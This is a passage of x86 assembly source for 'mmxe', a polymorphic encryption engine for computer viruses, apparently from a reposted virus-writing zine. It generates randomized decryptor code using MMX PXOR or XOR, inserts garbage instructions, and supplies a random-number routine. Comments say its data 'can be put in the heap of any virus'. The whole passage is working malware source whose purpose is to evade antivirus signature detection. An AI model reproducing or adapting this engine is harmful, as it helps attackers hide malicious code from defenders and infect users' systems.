mov eax,dword ptr [ebp+@@fix2]
stosd
or word ptr [ebp+@@flags],_LOADPOINTER
ret

; Put in the register used as key the number used for the encryption of the
; virus code.

@@gen_loadkey:
mov eax,2
call r_range
xchg eax,ecx
jecxz @@glk_@@2
@@glk_@@1:
mov al,68h ; PUSH enc_key
stosb ; POP reg_key
mov eax,dword ptr [ebp+@@enc_key]
stosd
call @@gen_garbage
mov al,58h
add al,byte ptr [ebp+@@reg_key]
stosb
or word ptr [ebp+@@flags],_LOADKEY
ret
@@glk_@@2: ; MOV key_reg,enc_key
movzx eax,byte ptr [ebp+@@reg_key]
add eax,0B8h
stosb
mov eax,dword ptr [ebp+@@enc_key]
stosd
or word ptr [ebp+@@flags],_LOADKEY
ret

; Generate the code for pass the encryption key to an MMX register

@@gen_passkey2mmx:
mov ax,6E0Fh ; MOV mmx_key,reg_key
stosw
movzx eax,byte ptr [ebp+@@mmx_key]
shl eax,3
or al,byte ptr [ebp+@@reg_key]
or al,11000000b
stosb
or word ptr [ebp+@@flags],_PASSKEY2MMX
ret

; Just for know where we must loop the decryptor

@@getloopaddress:
mov dword ptr [ebp+@@l00paddress],edi
ret

; Pass the dword of code we are decrypting to the MMX register used for that
; matter

@@gen_passptr2mmx:
mov ax,6E0Fh ; MOV mmx_ptr,[reg_ptr]
stosw
movzx eax,byte ptr [ebp+@@mmx_ptr2data]
shl eax,3
or al,byte ptr [ebp+@@reg_ptr2data]
stosb
or word ptr [ebp+@@flags],_PASSPTR2MMX
ret

; Generate the MMX encryption opcode:
; PXOR

@@gen_crypt_instructions:
mov ax,0EF0Fh ; PXOR mmx_ptr,mmx_key
stosw
movzx eax,byte ptr [ebp+@@mmx_ptr2data]
shl eax,3
or al,byte ptr [ebp+@@mmx_key]
or al,11000000b
stosb
or word ptr [ebp+@@flags],_CRYPT
ret

; Generate the alternative method of MMX encryption code:
; PXOR = XOR

@@gen_non_mmx_crypt_instructions:
mov ax,0031h ; XOR [reg_ptr],reg_key
movzx ebx,byte ptr [ebp+@@reg_key]
shl ebx,3
or bl,byte ptr [ebp+@@reg_ptr2data]
or ah,bl
stosw
ret

; Generate the code that will pass the already decrypted data to its original
; position

@@gen_passmmx2ptr:
mov ax,7E0Fh ; MOVD [reg_ptr],(mmx_ptr xor mmx_key)
stosw
movzx eax,byte ptr [ebp+@@mmx_ptr2data]
shl eax,3
or al,byte ptr [ebp+@@reg_ptr2data]
stosb
or word ptr [ebp+@@flags],_PASSMMX2PTR
ret

; Select the order between increase pointer and decrease counter

@@gen_incpointer_deccounter:
mov eax,2
call r_range
xchg eax,ecx
jecxz @@gdc_gip
@@gip_gdc:
call @@gen_incpointer
call @@gen_some_garbage
call @@gen_deccounter
ret
@@gdc_gip:
call @@gen_deccounter
call @@gen_some_garbage
call @@gen_incpointer
ret

; Generate the code for make the pointer register to point to the next dword

@@gen_incpointer:
mov eax,5
call r_range
xchg eax,ecx
jecxz @@gip_@@2
dec ecx
jz @@gip_@@3
dec ecx
jz @@gip_@@4
dec ecx
jnz @@gip_@@1
jmp @@gip_@@5

@@gip_@@1:
mov bl,4 ; ADD reg_ptr,4
call @@gip_AddIt
jmp @@gip_EXIT

@@gip_@@2:
mov eax,2
call r_range
xchg eax,ecx
jecxz @@gip_@@2_@@2
@@gip_@@2_@@1:
mov bl,3 ; ADD reg_ptr,3
call @@gip_AddIt

call @@gen_garbage

mov bl,1 ; INC reg_ptr
call @@gip_IncIt
jmp @@gip_@@2_EXIT
@@gip_@@2_@@2:
mov bl,1 ; INC reg_ptr
call @@gip_IncIt

call @@gen_garbage

mov bl,3
call @@gip_AddIt ; ADD reg_ptr,3
@@gip_@@2_EXIT:
jmp @@gip_EXIT

@@gip_@@3:
mov eax,2
call r_range
xchg eax,ecx
jecxz @@gip_@@3_@@2
@@gip_@@3_@@1:
mov bl,2 ; ADD reg_ptr,2
call @@gip_AddIt

call @@gen_garbage

mov bl,2 ; INC reg_ptr
call @@gip_IncIt ; INC reg_ptr
jmp @@gip_@@2_EXIT
@@gip_@@3_@@2:
mov bl,2 ; INC reg_ptr
call @@gip_IncIt ; INC reg_ptr

call @@gen_garbage

mov bl,2 ; ADD reg_ptr,2
call @@gip_AddIt
jmp @@gip_@@2_EXIT

@@gip_@@4:
mov eax,2
call r_range
xchg eax,ecx
jecxz @@gip_@@4_@@2
@@gip_@@4_@@1:
mov bl,1 ; ADD reg_ptr,1
call @@gip_AddIt ; INC reg_ptr

call @@gen_garbage

mov bl,3 ; INC reg_ptr
call @@gip_IncIt ; INC reg_ptr
jmp @@gip_@@2_EXIT
@@gip_@@4_@@2:
mov bl,1 ; INC reg_ptr
call @@gip_IncIt ; INC reg_ptr

call @@gen_garbage

mov bl,3 ; INC reg_ptr
call @@gip_AddIt ; ADD reg_ptr,1
jmp @@gip_@@2_EXIT

@@gip_@@5: ; INC reg_ptr
mov bl,4 ; INC reg_ptr
call @@gip_IncIt ; INC reg_ptr
; INC reg_ptr

@@gip_EXIT:
or word ptr [ebp+@@flags],_INCPOINTER
ret

@@gip_AddIt:
mov al,83h
stosb
mov al,byte ptr [ebp+@@reg_ptr2data]
or al,11000000b
stosb
mov al,bl
stosb
ret

@@gip_IncIt:
movzx ecx,bl
mov al,40h
add al,byte ptr [ebp+@@reg_ptr2data]
@@gip_II_Loop:
stosb
push ecx eax
call @@gen_garbage
pop eax ecx
loop @@gip_II_Loop
ret

; Generate the code that will decrease in one unit the counter

@@gen_deccounter:
mov eax,3
call r_range
xchg eax,ecx
jecxz @@gdc_@@2
dec ecx
jecxz @@gdc_@@3
@@gdc_@@1:
mov al,83h ; SUB reg_size,1
stosb
mov al,byte ptr [ebp+@@reg_counter]
or al,11101000b
stosb
mov al,1
stosb
jmp @@gdc_EXIT
@@gdc_@@2:
mov al,48h ; DEC reg_size
add al,byte ptr [ebp+@@reg_counter]
stosb
jmp @@gdc_EXIT
@@gdc_@@3:
mov al,83h ; ADD reg_size,-1
stosb
mov al,byte ptr [ebp+@@reg_counter]
or al,11000000b
stosb
mov al,0FFh
stosb
@@gdc_EXIT:
or word ptr [ebp+@@flags],_DECCOUNTER
ret

; Generate the loop-alike thingy

@@gen_loop:
mov eax,04h
call r_range
or eax,eax
jz @@gl_@@3
dec eax
jz @@gl_@@2
dec eax
jz @@gl_@@1
@@gl_@@0:
mov al,83h ; CMP reg_size,00h
stosb
movzx eax,byte ptr [ebp+@@reg_counter]
or al,11111000b
stosb
xor eax,eax
stosb
jmp @@gl_dojnz
@@gl_@@1:
mov al,83h ; CMP reg_size,-1
stosb
movzx eax,byte ptr [ebp+@@reg_counter]
or al,11111000b
stosb
xor eax,eax
dec eax
stosb
mov eax,dword ptr [ebp+@@size_address]
dec dword ptr [eax]
jmp @@gl_dojnz
@@gl_@@2:
mov al,0Bh ; OR reg_size,reg_size
stosb
movzx eax,byte ptr [ebp+@@reg_counter]
shl eax,3
or al,byte ptr [ebp+@@reg_counter]
or al,11000000b
stosb
jmp @@gl_dojnz
@@gl_@@3:
mov al,85h
stosb
movzx eax,byte ptr [ebp+@@reg_counter] ; TEST reg_size,reg_size
shl eax,3
or al,byte ptr [ebp+@@reg_counter]
or al,11000000b
stosb
mov eax,dword ptr [ebp+@@size_address]
dec dword ptr [eax]
@@gl_dojnz:
mov ax,850Fh ; JNZ LOOP_ADDRESS
stosw
mov eax,dword ptr [ebp+@@l00paddress]
sub eax,edi
sub eax,00000004h
stosd
or word ptr [ebp+@@flags],_LOOP
ret

; --- Garbage generator's table

@@gbgtbl label byte
dd offset (@@do_anything) ; Oh, my lazy engine! :)
dd offset (@@gen_arithmetic_reg32_reg32)
dd offset (@@gen_arithmetic_reg32_imm32)
dd offset (@@gen_arithmetic_eax_imm32)
dd offset (@@gen_mov_reg32_imm32)
dd offset (@@gen_mov_reg8_imm8)
dd offset (@@gen_call_to_subroutine)
dd offset (@@gen_push_garbage_pop)
dd offset (@@gen_zer0_reg)
dd offset (@@gen_arithmetic_reg32_reg32)
dd offset (@@gen_arithmetic_reg32_imm32)
dd offset (@@gen_arithmetic_eax_imm32)
dd offset (@@gen_mov_reg32_imm32)
dd offset (@@gen_mov_reg8_imm8)
@@non_mmx_gbg equ (($-offset @@gbgtbl)/4)
; MMX Garbage generatorz
dd offset (@@gen_onebyter) ; For security, it's here
dd offset (@@gen_mmx_group1)
dd offset (@@gen_mmx_group2)
dd offset (@@gen_mmx_group3)
dd offset (@@gen_mmx_movq_mm?_mm?)
dd offset (@@gen_mmx_movd_mm?_reg32)
@@s_gbgtbl equ (($-offset @@gbgtbl)/4)

; MMX version

@@after_looptbl label byte
dd offset (@@gen_passptr2mmx) ;\
dd offset (@@gen_crypt_instructions) ; >- Must follow this order
dd offset (@@gen_passmmx2ptr) ;/
dd offset (@@gen_incpointer_deccounter)
dd offset (@@gen_loop)
@@s_aftlooptbl equ (($-offset @@after_looptbl)/4)

; Non MMX version

@@after_l00ptbl label byte
dd offset (@@gen_non_mmx_crypt_instructions)
dd offset (@@gen_incpointer_deccounter)
dd offset (@@gen_loop)
@@s_aftl00ptbl equ (($-offset @@after_l00ptbl)/4)

mmxe_end label byte
mmxe endp

; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
; Random procedures
; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
;
; RANDOM
;
; input:
; Nothing.
; output:
; EAX = Random number
;

random proc ; Thanx MDriller! ;)
push ecx
mov eax,dword ptr [ebp+rnd_seed1]
dec dword ptr [ebp+rnd_seed1]
xor eax,dword ptr [ebp+rnd_seed2]
mov ecx,eax
rol dword ptr [ebp+rnd_seed1],cl
add dword ptr [ebp+rnd_seed2],eax
adc eax,dword ptr [ebp+rnd_seed2]
add eax,ecx
ror eax,cl
not eax
sub eax,3
xor dword ptr [ebp+rnd_seed2],eax
xor eax,dword ptr [ebp+rnd_seed3]
rol dword ptr [ebp+rnd_seed3],1
sub dword ptr [ebp+rnd_seed3],ecx
sbb dword ptr [ebp+rnd_seed3],4
inc dword ptr [ebp+rnd_seed2]
pop ecx
ret
random endp

; R_RANGE
;
; input:
; EAX = Number of possible random numbers
; output:
; EAX = Number between 0 and (EAX-1)

r_range proc
push ecx
push edx
mov ecx,eax
call random
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
r_range endp

mmxe_data label byte ; This data can be put in the
; heap of any virus

random_seed label byte
rnd_seed1 dd 00000000h
rnd_seed2 dd 00000000h
rnd_seed3 dd 00000000h

; Registers used

@@reg_key db 00h
@@reg_ptr2data db 00h
@@reg_counter db 00h
@@reg_delta db 00h
@@reg_mask db 00h

@@mmx_ptr2data db 00h
@@mmx_key db 00h

@@init_mmx? db 00h

@@ptr_data2enc dd 00000000h
@@ptr_buffer dd 00000000h
@@size2enc dd 00000000h
@@size2cryptd4 dd 00000000h
@@tmp_call dd 00000000h
@@fix1 dd 00000000h
@@fix2 dd 00000000h
@@enc_key dd 00000000h
@@l00paddress dd 00000000h
@@size_address dd 00000000h
@@ptrto2nd dd 00000000h
@@flags dw 0000h
@@recursion db 00h

end fakehost




← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT